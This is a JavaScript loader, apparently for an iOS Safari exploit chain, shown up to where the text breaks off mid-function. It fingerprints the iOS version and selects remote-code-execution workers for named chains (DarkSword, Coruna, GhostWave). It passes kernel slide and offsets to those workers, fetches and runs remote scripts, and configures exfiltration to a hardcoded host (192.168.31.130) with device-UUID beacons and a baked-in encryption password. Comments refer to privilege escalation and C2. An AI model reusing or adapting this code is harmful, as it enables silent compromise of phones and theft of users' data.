hashbro
1173 lines
47 KiB
JavaScript
1173 lines
47 KiB
JavaScript
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
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var SERVER_LOG = true;
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let logStart = new Date().getTime();
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let logEntryID = 0;
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let __printBudget = 60;
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let __printWindowStart = 0;
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var offsets = {};
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var slide;
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var chipset;
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var device_model;
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function labAssetBase() {
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try {
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if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
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return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
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} catch (e0) {}
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try {
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var origin = (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
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? String(location.origin).replace(/\/$/, '') : '';
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var path = '/next-chain';
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try {
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if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.deliveryPath)
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path = String(window.NEWS2_CONFIG.deliveryPath);
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} catch (e1) {}
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if (path.charAt(0) !== '/') path = '/' + path;
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return origin + path.replace(/\/+$/, '');
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} catch (e2) {}
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return '';
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}
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function labApiBase() {
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try {
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var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
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? window.__LAB_EXFIL__
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: (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil);
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if (ex && ex.host) {
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var tls = !!(ex.tls || ex.prefer_https);
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var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
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var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
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if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
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return origin;
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}
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} catch (e0) {}
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try {
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if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
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return String(location.origin).replace(/\/$/, '');
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} catch (e1) {}
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return '';
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}
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var localHost = labAssetBase();
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function resolveLabDeviceUUID() {
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let du = '';
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try {
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du = (typeof window !== 'undefined' && window.__LAB_DEVICE_UUID__) || '';
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} catch (e0) {}
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if (!du) {
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try { du = (typeof localStorage !== 'undefined' && localStorage.getItem('lab_device_uuid')) || ''; } catch (e1) {}
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}
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if (!du) {
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try {
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const m = (typeof document !== 'undefined' && document.cookie || '').match(/(?:^|; )lab_device_uuid=([^;]*)/);
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if (m) du = decodeURIComponent(m[1]);
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} catch (e2) {}
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}
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du = String(du || '').replace(/-/g, '').toUpperCase();
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if (du && /^[0-9A-F]{16,64}$/.test(du)) {
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try {
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if (typeof window !== 'undefined') window.__LAB_DEVICE_UUID__ = du;
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} catch (e3) {}
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return du;
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}
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return '';
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}
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function print(x, reportError = false, dumphex = false) {
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let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
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// Mirror to console so frame.html can notify parent (progress/hold).
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try { console.log(out); } catch (eC) {}
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try {
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const s = String(x);
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if (/RCE success|Finished stage2|handoff ok|inside stage1|check_dlopen/i.test(s)) {
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if (window.parent && window.parent !== window) {
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window.parent.postMessage({ type: 'ds-stage', stage: 'worker', progress: 42, label: s.slice(0, 80) }, '*');
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}
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} else if (/stage1_failed|InterposeTupleAll wait timeout/i.test(s)) {
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if (window.parent && window.parent !== window) {
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window.parent.postMessage({ type: 'ds-stage', stage: 'worker', progress: 42, label: 'stage1_fail:' + s.slice(0, 60) }, '*');
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}
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}
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} catch (eP) {}
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// Server upload: errors only (progress = pe_stage GETs / console).
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const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x));
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if (!isErr) return;
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if (!SERVER_LOG && !reportError) return;
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let obj = {
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id: logEntryID++,
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text: out,
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}
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if (dumphex) {
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obj.hex = 1
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obj.text = x
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}
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try {
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let du = '';
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try {
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du = resolveLabDeviceUUID();
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} catch (e0) {}
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if (du) {
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obj.deviceUUID = du;
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obj.device = du;
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}
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let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
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const xhr = new XMLHttpRequest();
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xhr.open("GET", labApiBase() + "/api/ds/log?" + req , true);
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if (du) {
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try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {}
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}
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xhr.send(null);
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} catch (e) {}
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}
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function redirect()
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{
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// Safari-side grace ended — PE/exfil may still be running in mediaplaybackd.
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// Do NOT mark S6/100% here; only advance to late PE so the bar matches reality.
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// 成功/失败均不跳转页面（父页 index 保持不动；iframe 也不进 done.html）。
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try {
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if (window.parent && window.parent !== window) {
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window.parent.postMessage({
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type: 'ds-stage',
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stage: 'pe',
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progress: 92,
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label: '權限提升 · 後台收尾中'
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}, '*');
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window.parent.postMessage({
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type: 'ds-chain-settle',
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progress: 92,
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label: 'chain settle (no redirect)'
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}, '*');
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}
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} catch (e) {}
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try {
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print('redirect(): skip done.html (stay on current page)', false);
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} catch (e3) {}
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}
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function exfilGraceMs() {
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// Safari-only hold before done.html redirect. PE/C2 already live in MPD/SB —
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// not the c2_agent .done poll (removed). Keep a short settle, not 180s.
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return 10000;
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}
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function sleepMs(ms) {
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return new Promise(function (r) { setTimeout(r, ms); });
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}
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async function waitPeExfilGrace() {
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const total = exfilGraceMs();
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print('pe exfil grace begin ' + Math.round(total / 1000) + 's (safari redirect settle)');
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const step = 5000;
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let elapsed = 0;
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while (elapsed < total) {
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await sleepMs(step);
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elapsed += step;
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print('pe exfil grace ' + Math.round(elapsed / 1000) + 's / ' + Math.round(total / 1000) + 's');
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}
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print('pe exfil grace complete');
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}
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function isStage1RcePath(v) {
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// Worker-internal RCE via postMessage(stage1_rce) → main() → _aarw_main.
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// iOS 18.5+: dedicated workers (18.5 → rce_worker_18.5.js).
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// iOS 18.4: page check_attempt + stage1 handoff into rce_worker_18.4.js.
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if (!v || !v.length) return false;
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if (v[0] > 18) return true;
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if (v[0] === 18 && (v[1] || 0) >= 5) return true;
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return false;
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}
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function isIos186Plus(v) {
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return isStage1RcePath(v);
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}
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function normalizeIosVersion(v) {
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if (!v || !v.length) return v;
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if (v[0] >= 19 || v[0] >= 26) {
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var minor = v[1] || 0;
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if (minor >= 7 || v[0] >= 26) return [18, 7].concat(v.slice(2));
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if (minor >= 6 || v[0] >= 19) return [18, 6].concat(v.slice(2));
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return [18, 5].concat(v.slice(2));
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}
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return v;
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}
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function versionParts(v) {
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return { maj: v[0], min: v[1] || 0, pat: v[2] || 0 };
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}
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function cmpVer(a, b) {
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for (var i = 0; i < 3; i++) {
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if (a[i] < b[i]) return -1;
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if (a[i] > b[i]) return 1;
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}
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return 0;
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}
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function inVerRange(v, lo, hi) {
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return cmpVer(v, lo) >= 0 && cmpVer(v, hi) <= 0;
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}
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function isPatchedVersion(v) {
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// DarkSword primary RCE patched on 18.7.3+; full chain closed by 26.3
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if (!v || !v.length) return false;
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if (v[0] === 18 && v[1] === 7 && (v[2] || 0) >= 3) return true;
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if (v[0] === 18 && (v[1] || 0) >= 8) return true;
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if (v[0] === 26 && (v[1] || 0) >= 3) return true;
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return false;
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}
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function ghostUsableGrade(v) {
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if (!v || !v.length) return 'RESEARCH';
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var maj = v[0], min = v[1] || 0, pat = v[2] || 0;
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if (maj === 26 && min >= 3) return 'DEAD';
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if (maj === 26 && min === 2) return 'DEAD';
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if (maj === 26 && min === 0) return 'RESEARCH_HIGH';
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if (maj === 26 && min === 1) return 'RESEARCH';
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if (maj === 18 && min === 7 && pat >= 3) return 'DEAD';
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if (maj >= 19 && maj <= 25) return 'RESEARCH';
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return 'RESEARCH';
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}
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function classifyTarget(v) {
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if (!v || !v.length) {
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return { chain: 'unknown', delivery_ok: false, ghostwave: false, version_str: 'unknown', reason: 'no iOS version', patched: false };
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}
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var version_str = v.join('.');
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var p = [v[0], v[1] || 0, v[2] || 0];
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// Prefer server band plan when frame already fetched /api/ds/chain-targets
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try {
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if (typeof window !== 'undefined' && window.__LAB_BAND__) {
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var b = window.__LAB_BAND__;
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if (b.chain) {
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return {
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chain: b.chain,
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delivery_ok: b.delivery_ok !== false,
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ghostwave: b.chain === 'ghostwave',
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version_str: version_str,
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reason: b.next_action || b.notes || b.confidence || '',
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patched: b.usable_grade === 'DEAD' || b.cve_tier === 'fully_patched_26_3',
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weaponized: !!b.weaponized,
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usable_grade: b.usable_grade || '',
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open_cves: b.open_cves || [],
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cve_tier: b.cve_tier || '',
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research_priority: b.research_priority,
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warning: b.weaponized ? '' : 'honesty: not weaponized'
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};
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}
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}
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} catch (eBand) {}
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if (inVerRange(p, [13, 0, 0], [17, 2, 1])) {
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return {
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chain: 'coruna',
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delivery_ok: true,
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ghostwave: false,
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version_str: version_str,
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reason: 'Coruna leaked kit (khanhduytran0/coruna) via /coruna/group.html',
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patched: false,
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weaponized: true,
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usable_grade: 'LIVE'
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};
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}
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if (cmpVer(p, [17, 2, 1]) > 0 && cmpVer(p, [18, 4, 0]) < 0) {
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var silk17 = p[0] === 17;
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return {
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chain: 'silkpath',
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delivery_ok: true,
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ghostwave: false,
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version_str: version_str,
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reason: silk17
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? 'SilkPath loader OK but 17.x offsets are 0x0 — RCE gated by silkpath_loader'
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: 'SilkPath 18.0-18.3 Stage1 + provisional bridged offsets (22E)',
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patched: false,
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weaponized: !silk17,
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usable_grade: silk17 ? 'GATED' : 'PROVISIONAL'
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};
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}
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if (inVerRange(p, [18, 4, 0], [18, 7, 2])) {
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return {
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chain: 'darksword',
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delivery_ok: true,
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ghostwave: (p[1] || 0) >= 7,
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version_str: version_str,
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||
reason: (p[1] || 0) >= 7 ? 'DarkSword+GhostWave post-exploit hooks' : 'DarkSword 18.4-18.7.2',
|
||
patched: false,
|
||
weaponized: true,
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||
usable_grade: 'LIVE'
|
||
};
|
||
}
|
||
|
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if (inVerRange(p, [18, 7, 3], [26, 3, 99])) {
|
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var grade = ghostUsableGrade(v);
|
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var fully = (p[0] === 26 && p[1] >= 3);
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return {
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chain: 'ghostwave',
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delivery_ok: true, // research delivery always allowed
|
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ghostwave: true,
|
||
version_str: version_str,
|
||
reason: fully
|
||
? 'iOS 26.3 fully patched (GTIG) — harness telemetry only'
|
||
: (grade === 'RESEARCH_HIGH'
|
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? 'GhostWave RESEARCH_HIGH — attempt 26.x worker + calibrate'
|
||
: 'GhostWave research — offsets/chain incomplete'),
|
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patched: grade === 'DEAD',
|
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weaponized: false,
|
||
usable_grade: grade,
|
||
warning: 'Do not treat GhostWave as production-ready'
|
||
};
|
||
}
|
||
|
||
if (cmpVer(p, [26, 3, 99]) > 0) {
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return {
|
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chain: 'out_of_scope',
|
||
delivery_ok: false,
|
||
ghostwave: false,
|
||
version_str: version_str,
|
||
reason: 'above GhostWave 26.3',
|
||
patched: true,
|
||
usable_grade: 'DEAD'
|
||
};
|
||
}
|
||
|
||
return {
|
||
chain: 'out_of_scope',
|
||
delivery_ok: false,
|
||
ghostwave: false,
|
||
version_str: version_str,
|
||
reason: 'out of scope',
|
||
patched: false,
|
||
usable_grade: 'DEAD'
|
||
};
|
||
}
|
||
function pickWorkerFile(v) {
|
||
var raw = v;
|
||
if (!raw || !raw.length) return null;
|
||
try {
|
||
if (typeof window !== 'undefined' && window.__LAB_RECOMMENDED_WORKER__) {
|
||
return String(window.__LAB_RECOMMENDED_WORKER__);
|
||
}
|
||
} catch (e) {}
|
||
if (raw[0] === 26 && (raw[1] || 0) >= 3) return 'rce_worker_26.3.js';
|
||
if (raw[0] >= 19 || raw[0] >= 26) return 'rce_worker_26.x.js';
|
||
v = normalizeIosVersion(v);
|
||
if (v[0] !== 18) return null;
|
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var min = v[1] || 0, pat = v[2] || 0;
|
||
if (min === 7 && pat >= 3) return 'rce_worker_26.x.js';
|
||
if (min >= 7) return 'rce_worker_18.7.js';
|
||
if (min === 6) return 'rce_worker_18.6.js';
|
||
// iOS 18.5: dedicated worker (stage1_rce → sbx0, 22F76).
|
||
if (min === 5) return 'rce_worker_18.6.js'; // nui verified: 22F76 lives in 18.6 worker
|
||
// iOS 18.4.x: page check_attempt → stage1 handoff into 18.4 worker.
|
||
if (min === 4) return 'rce_worker_18.4.js';
|
||
return null;
|
||
}
|
||
function safariVersionMajor() {
|
||
try {
|
||
const m = /Version\/(\d+)/.exec(navigator.userAgent);
|
||
return m ? parseInt(m[1], 10) : 0;
|
||
} catch (e) { return 0; }
|
||
}
|
||
function workerFallbackChain(v) {
|
||
var primary = pickWorkerFile(v);
|
||
if (!primary) return [];
|
||
if (!v || !v.length) return [primary];
|
||
var min = v[1] || 0;
|
||
var pat = v[2] || 0;
|
||
|
||
// iOS 18.5: dedicated 18.5 worker; fall back to 18.6 then legacy 18.4.
|
||
if (v[0] === 18 && min === 5) {
|
||
return ['rce_worker_18.6.js', 'rce_worker_18.5.js', 'rce_worker_18.4.js'];
|
||
}
|
||
// iOS 18.4.x: must stay on 18.4 worker (stage1 handoff consumes page offsets).
|
||
if (v[0] === 18 && min === 4) {
|
||
return ['rce_worker_18.4.js'];
|
||
}
|
||
|
||
try {
|
||
if (typeof window !== 'undefined' && window.__LAB_FALLBACK_WORKERS__ && window.__LAB_FALLBACK_WORKERS__.length) {
|
||
var chain = [];
|
||
if (primary) chain.push(primary);
|
||
for (var i = 0; i < window.__LAB_FALLBACK_WORKERS__.length; i++) {
|
||
var w = window.__LAB_FALLBACK_WORKERS__[i];
|
||
if (w && chain.indexOf(w) < 0) chain.push(w);
|
||
}
|
||
if (chain.length) return chain;
|
||
}
|
||
} catch (eApi) {}
|
||
if (!primary) return [];
|
||
|
||
// iOS 26.3+: dedicated harness (fully patched)
|
||
if (v[0] === 26 && (v[1] || 0) >= 3) {
|
||
return ['rce_worker_26.3.js', 'rce_worker_26.x.js'];
|
||
}
|
||
|
||
// iOS 18.7+: prioritize 18.7 worker first (proven 2026-06-14: 18.7 S1 ok in 290ms)
|
||
if (v[0] >= 19 || (v[0] === 18 && min >= 7)) {
|
||
// For 18.7.0-18.7.2, prioritize 18.7 worker first
|
||
if (v[0] === 18 && min === 7 && pat <= 2) {
|
||
return ['rce_worker_18.7.js', 'rce_worker_26.x.js', 'rce_worker_18.6.js'];
|
||
}
|
||
// For 18.7.3+, try 26.x first as it might have better coverage
|
||
if (v[0] === 18 && min === 7 && pat >= 3) {
|
||
return ['rce_worker_26.x.js', 'rce_worker_18.7.js', 'rce_worker_18.6.js'];
|
||
}
|
||
// For iOS 19+ or Safari 26.0-26.2, try 26.x first
|
||
return ['rce_worker_26.x.js', 'rce_worker_18.7.js', 'rce_worker_18.6.js'];
|
||
}
|
||
|
||
// iOS 18.6.x: single worker only (upstream / nuih). No 18.5/18.4 fallback —
|
||
// those use different handoff paths and crash-skip would just burn attempts.
|
||
if (v[0] === 18 && min === 6) {
|
||
return ['rce_worker_18.6.js'];
|
||
}
|
||
|
||
// Default fallback chain (prefer files present in this lab tree)
|
||
return [primary, 'rce_worker_18.6.js', 'rce_worker_18.5.js', 'rce_worker_18.4.js'];
|
||
}
|
||
function pickModuleFile(v) {
|
||
var raw = v;
|
||
v = normalizeIosVersion(v);
|
||
if (!v || !v.length) return 'rce_module.js';
|
||
if (raw[0] >= 19 || raw[0] >= 26) return 'rce_module_18.7.js';
|
||
if (v[0] === 18 && (v[1] || 0) >= 7) return 'rce_module_18.7.js';
|
||
if (v[0] === 18 && (v[1] || 0) === 6) return 'rce_module_18.6.js';
|
||
if (v[0] === 18 && (v[1] || 0) === 5) return 'rce_module_18.6.js';
|
||
// iOS 18.4.x: classic module + check_attempt handoff.
|
||
if (v[0] === 18 && (v[1] || 0) === 4) return 'rce_module.js';
|
||
return 'rce_module.js';
|
||
}
|
||
function moduleForWorker(workerFile) {
|
||
if (!workerFile) return pickModuleFile(ios_version);
|
||
if (workerFile.indexOf('26.3') >= 0) return ''; // harness — no RCE module
|
||
if (workerFile.indexOf('26.x') >= 0 || workerFile.indexOf('18.7') >= 0) return 'rce_module_18.7.js';
|
||
if (workerFile.indexOf('18.6') >= 0) return 'rce_module_18.6.js';
|
||
if (workerFile.indexOf('18.5') >= 0) return 'rce_module_18.5.js';
|
||
if (workerFile.indexOf('18.4') >= 0) return 'rce_module.js';
|
||
return 'rce_module.js';
|
||
}
|
||
function workerMinBytes(candidate) {
|
||
if (!candidate) return 5000;
|
||
if (candidate.indexOf('26.3') >= 0) return 400;
|
||
return candidate.indexOf('18.4') >= 0 ? 1000 : 5000;
|
||
}
|
||
function parseIosVersion() {
|
||
try {
|
||
if (typeof window !== 'undefined' && window.__LAB_FORCE_IOS__) {
|
||
var forced = String(window.__LAB_FORCE_IOS__).split('.').map(function (p) { return parseInt(p, 10); }).filter(function (n) { return !isNaN(n); });
|
||
if (forced.length) return forced;
|
||
}
|
||
var q = new URLSearchParams(location.search);
|
||
var qi = q.get('ios') || q.get('version') || '';
|
||
if (qi) {
|
||
var fromQ = qi.split('.').map(function (p) { return parseInt(p, 10); }).filter(function (n) { return !isNaN(n); });
|
||
if (fromQ.length) return fromQ;
|
||
}
|
||
} catch (eF) {}
|
||
const ua = navigator.userAgent;
|
||
let m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||
if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); });
|
||
m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||
if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); });
|
||
m = /CPU OS ([0-9_]+)/.exec(ua);
|
||
if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); });
|
||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||
if (m) return [parseInt(m[1], 10), parseInt(m[2], 10)];
|
||
return null;
|
||
}
|
||
function resolveDeliveryHost() {
|
||
var h = labAssetBase();
|
||
if (h) return h;
|
||
try {
|
||
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
|
||
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
|
||
} catch (e) {}
|
||
return labAssetBase();
|
||
}
|
||
function resolveExfilTarget() {
|
||
try {
|
||
if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
|
||
return window.__LAB_EXFIL__;
|
||
} catch (e) {}
|
||
try {
|
||
const base = labApiBase();
|
||
if (!base) return null;
|
||
const xhr = new XMLHttpRequest();
|
||
xhr.open('GET', base + '/api/ds/chain-targets', false);
|
||
xhr.send(null);
|
||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||
const d = JSON.parse(xhr.responseText);
|
||
if (d.exfil && d.exfil.host) return d.exfil;
|
||
}
|
||
} catch (e) {}
|
||
try {
|
||
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil)
|
||
return window.NEWS2_CONFIG.exfil;
|
||
} catch (e2) {}
|
||
const base = labApiBase();
|
||
const h = String(base || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||
return { host: h || '127.0.0.1', http_port: 80, https_port: 443, tls: false };
|
||
}
|
||
function exfilFields() {
|
||
const t = resolveExfilTarget();
|
||
let deviceUUID = '';
|
||
try {
|
||
deviceUUID = resolveLabDeviceUUID();
|
||
} catch (eDu) { deviceUUID = ''; }
|
||
if (!t) {
|
||
return {
|
||
exfilHost: '192.168.31.130',
|
||
exfilHttpPort: 8018,
|
||
exfilHttpsPort: 8018,
|
||
exfilTls: false,
|
||
exfilFallbackHost: '192.168.31.130',
|
||
exfilFallbackHttpPort: 8018,
|
||
deviceUUID,
|
||
};
|
||
}
|
||
// Prefer explicit GitHub-style IP:4001 from /api/ds/chain-targets
|
||
const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||
const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw);
|
||
if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) {
|
||
const ip = isIp ? hostRaw : '192.168.31.130';
|
||
return {
|
||
exfilHost: ip,
|
||
exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001,
|
||
exfilHttpsPort: t.https_port != null ? Number(t.https_port) : 4001,
|
||
exfilTls: false,
|
||
exfilFallbackHost: ip,
|
||
exfilFallbackHttpPort: 8018,
|
||
statsUrl: t.stats_url_direct || t.stats_url || ('http://' + ip + ':4001/stats'),
|
||
deviceUUID,
|
||
};
|
||
}
|
||
if (t.stats_url) {
|
||
try {
|
||
const u = new URL(t.stats_url);
|
||
const port = u.port ? parseInt(u.port, 10) : (u.protocol === 'https:' ? 443 : 80);
|
||
return {
|
||
exfilHost: u.hostname,
|
||
exfilHttpPort: port,
|
||
exfilHttpsPort: port,
|
||
exfilTls: u.protocol === 'https:',
|
||
statsUrl: t.stats_url,
|
||
exfilFallbackHost: '192.168.31.130',
|
||
exfilFallbackHttpPort: 8018,
|
||
deviceUUID,
|
||
};
|
||
} catch (e) { /* fall through */ }
|
||
}
|
||
const host = hostRaw;
|
||
const tls = t.tls === true || t.prefer_https === true;
|
||
return {
|
||
exfilHost: host,
|
||
exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001),
|
||
exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001),
|
||
exfilTls: tls,
|
||
exfilFallbackHost: '192.168.31.130',
|
||
exfilFallbackHttpPort: 8018,
|
||
statsUrl: t.delivery_stats_url || '',
|
||
deviceUUID,
|
||
};
|
||
}
|
||
function ensureBody() {
|
||
if (document.body) return document.body;
|
||
var b = document.createElement('body');
|
||
if (document.documentElement) document.documentElement.appendChild(b);
|
||
return b;
|
||
}
|
||
function iosVersionKey(v) {
|
||
if (!v) return '';
|
||
if (typeof v === 'string') {
|
||
if (v.indexOf('.') >= 0) return v.replace(/\./g, ',');
|
||
return v;
|
||
}
|
||
if (v.join) return v.join(',');
|
||
return String(v);
|
||
}
|
||
function validateStage1Handoff() {
|
||
if (!device_model) {
|
||
print('handoff reject: missing device_model', true);
|
||
return false;
|
||
}
|
||
if (!offsets || typeof offsets !== 'object') {
|
||
print('handoff reject: missing offsets object', true);
|
||
return false;
|
||
}
|
||
var keys = Object.keys(offsets);
|
||
if (keys.length < 40) {
|
||
print('handoff reject: offsets too small (' + keys.length + ' keys)', true);
|
||
return false;
|
||
}
|
||
if (slide == null || slide === undefined) {
|
||
print('handoff reject: missing slide', true);
|
||
return false;
|
||
}
|
||
try {
|
||
if (typeof slide === 'bigint' && slide === 0n) {
|
||
print('handoff reject: zero slide', true);
|
||
return false;
|
||
}
|
||
} catch (e) {}
|
||
print('handoff ok: ' + device_model + ' keys=' + keys.length + ' slide=' + (slide && slide.toString ? slide.toString() : slide));
|
||
return true;
|
||
}
|
||
function packOffsetsForTransfer(src) {
|
||
var out = {};
|
||
if (!src) return out;
|
||
try {
|
||
for (var k in src) {
|
||
if (!Object.prototype.hasOwnProperty.call(src, k)) continue;
|
||
var val = src[k];
|
||
out[k] = (val != null && val.toString) ? val.toString() : String(val);
|
||
}
|
||
} catch (e) {}
|
||
return out;
|
||
}
|
||
function postStage1ToWorker(worker, begin, origin, desiredHost) {
|
||
var msg = {
|
||
type: 'stage1',
|
||
begin: begin,
|
||
origin: origin,
|
||
ios_version: iosVersionKey(ios_version),
|
||
device_model: device_model,
|
||
chipset: chipset,
|
||
slide: (slide != null && slide.toString) ? slide.toString() : '0',
|
||
offsets: packOffsetsForTransfer(offsets),
|
||
desiredHost: desiredHost,
|
||
SERVER_LOG: SERVER_LOG
|
||
};
|
||
try {
|
||
var ex = exfilFields();
|
||
for (var ek in ex) { if (Object.prototype.hasOwnProperty.call(ex, ek)) msg[ek] = ex[ek]; }
|
||
} catch (e) {}
|
||
try { msg._enc_pass = labEncPassword(); } catch (eP) {}
|
||
try {
|
||
worker.postMessage(msg);
|
||
print('stage1 handoff posted (' + (msg.device_model || '?') + ', ' + Object.keys(msg.offsets).length + ' offsets)');
|
||
return true;
|
||
} catch (e) {
|
||
print('stage1 postMessage failed: ' + e, true);
|
||
return false;
|
||
}
|
||
}
|
||
function labEncPassword() {
|
||
try {
|
||
if (typeof globalThis !== 'undefined' && globalThis.__LAB_ENC_PASS__)
|
||
return String(globalThis.__LAB_ENC_PASS__);
|
||
if (typeof window !== 'undefined' && window.__LAB_ENC_PASS__)
|
||
return String(window.__LAB_ENC_PASS__);
|
||
} catch (e) {}
|
||
return '9898asd147258';
|
||
}
|
||
|
||
function decryptWireText(text){return text;}
|
||
|
||
function getJS(fname, method = 'GET', tries = 5)
|
||
{
|
||
try
|
||
{
|
||
const clean = String(fname).replace(/^\//, '').split('?')[0];
|
||
const base = resolveDeliveryHost();
|
||
if (!base) { print('getJS: no delivery host'); return; }
|
||
// Prefer encrypted staging (opaque on the wire).
|
||
// pe_worker/pe_main need server-side UUID bake before encrypt.
|
||
const path = fname.startsWith('/') ? fname : '/' + fname;
|
||
const sep = path.indexOf('?') >= 0 ? '&' : '?';
|
||
for (let attempt = 1; attempt <= tries; attempt++) {
|
||
const url = base + path + sep + '_r=' + attempt;
|
||
let xhr = new XMLHttpRequest();
|
||
xhr.open(method, url, false);
|
||
xhr.send(null);
|
||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText && xhr.responseText.length > 0) {
|
||
return xhr.responseText;
|
||
}
|
||
// 404/410 won't appear on retry — fail fast instead of 5× spam.
|
||
if (xhr.status === 404 || xhr.status === 410) {
|
||
print('getJS HTTP ' + xhr.status + ' for ' + fname + ' (no retry)');
|
||
return;
|
||
}
|
||
if (attempt < tries) {
|
||
print('getJS retry ' + attempt + '/' + tries + ' HTTP ' + xhr.status + ' for ' + fname);
|
||
}
|
||
}
|
||
print('getJS HTTP failed for ' + fname);
|
||
}
|
||
catch (e)
|
||
{
|
||
print('getJS error: ' + e);
|
||
}
|
||
}
|
||
|
||
var __gwDecryptReady = false;
|
||
|
||
async function ensureGhostWaveDecrypt(){return true;}
|
||
|
||
async function fetchEncryptedJS(){return null;}
|
||
|
||
async function resolveWorkerCode(candidate){return getJS(candidate+'?'+Date.now());}
|
||
|
||
function shouldUseEncryptedStagingSync(){return false;}
|
||
const signal = new Uint8Array(8);
|
||
const dlopen_worker = `(() => {
|
||
self.onmessage = function (e) {
|
||
const {
|
||
type,
|
||
data
|
||
} = e.data;
|
||
switch (type) {
|
||
case 'init':
|
||
const canvas = new OffscreenCanvas(1, 1);
|
||
globalThis[0] = data;
|
||
createImageBitmap(canvas).then(bitmap => {
|
||
globalThis[1] = bitmap;
|
||
self.postMessage(null);
|
||
});
|
||
break;
|
||
case 'dlopen':
|
||
// Close existing bitmap — this triggers a dyld dlopen path through
|
||
// ImageIO/CG framework processing on most iOS versions.
|
||
try { globalThis[1].close(); } catch(_) {}
|
||
// Immediately create a fresh bitmap so the NEXT close() is also
|
||
// meaningful. Without this, retrigger_dlopen1 closes an already-
|
||
// closed bitmap (no-op) and no dlopen happens on the retry.
|
||
try {
|
||
var _c2 = new OffscreenCanvas(1, 1);
|
||
createImageBitmap(_c2).then(function(_b2) { globalThis[1] = _b2; });
|
||
} catch(_e2) {}
|
||
break;
|
||
}
|
||
};
|
||
})();`;
|
||
const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript'});
|
||
const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob);
|
||
const ios_version = parseIosVersion();
|
||
const chain_target = classifyTarget(ios_version);
|
||
const worker_plan = workerFallbackChain(ios_version);
|
||
var __exfilBoot = exfilFields();
|
||
print('chain_boot: ios=' + (ios_version ? ios_version.join('.') : 'unknown')
|
||
+ ' safari=' + safariVersionMajor()
|
||
+ ' chain=' + chain_target.chain
|
||
+ ' workers=' + (worker_plan.length ? worker_plan.join('>') : 'none')
|
||
+ ' host=' + resolveDeliveryHost()
|
||
+ ' exfil=' + (__exfilBoot.exfilHost || '?') + ':' + (__exfilBoot.exfilHttpPort || '?')
|
||
+ ' tls=' + !!__exfilBoot.exfilTls);
|
||
print('ios_version: ' + (ios_version ? ios_version.join('.') : 'unknown'));
|
||
print('chain_target: ' + chain_target.chain + ' ok=' + chain_target.delivery_ok + ' ' + chain_target.reason);
|
||
async function runWorkerAttempt(workerCode, workerFile) {
|
||
var isHarness = workerFile && workerFile.indexOf('26.3') >= 0;
|
||
return new Promise((resolve) => {
|
||
let settled = false;
|
||
function finish(ok) {
|
||
if (settled) return;
|
||
settled = true;
|
||
clearTimeout(watchdog);
|
||
resolve(!!ok);
|
||
}
|
||
var _workerSrc = workerCode;
|
||
const workerBlobUrl = URL.createObjectURL(new Blob([_workerSrc], { type: 'text/javascript' }));
|
||
const randomValues = new Uint32Array(32);
|
||
const begin = Date.now();
|
||
const origin = location.origin;
|
||
const worker = new Worker(workerBlobUrl);
|
||
const dlopen_workers = [];
|
||
const iframe = document.createElement('iframe');
|
||
iframe.srcdoc = '';
|
||
iframe.style.height = '0';
|
||
iframe.style.width = '0';
|
||
ensureBody().appendChild(iframe);
|
||
const watchdog = setTimeout(() => {
|
||
print('worker watchdog timeout: ' + workerFile, true);
|
||
try { worker.terminate(); } catch (e) {}
|
||
finish(false);
|
||
}, isHarness ? 20000 : 1200000);
|
||
|
||
if (isHarness) {
|
||
worker.onerror = function (err) {
|
||
print('harness onerror: ' + (err && err.message ? err.message : err), true);
|
||
try { worker.terminate(); } catch (e) {}
|
||
finish(true); // harness errors still count as completed research path
|
||
};
|
||
worker.onmessage = function (e) {
|
||
var data = e.data || {};
|
||
if (data.type === 'log') {
|
||
print(data.text || '', !!data.error);
|
||
return;
|
||
}
|
||
if (data.type === 'stage') {
|
||
print('harness stage ' + (data.stage || '?') + ' ' + (data.status || '') + ' ' + (data.message || data.reason || ''));
|
||
return;
|
||
}
|
||
if (data.type === 'ready') {
|
||
worker.postMessage({
|
||
name: 'begin',
|
||
type: 'begin',
|
||
ios: ios_version ? ios_version.join('.') : '26.3',
|
||
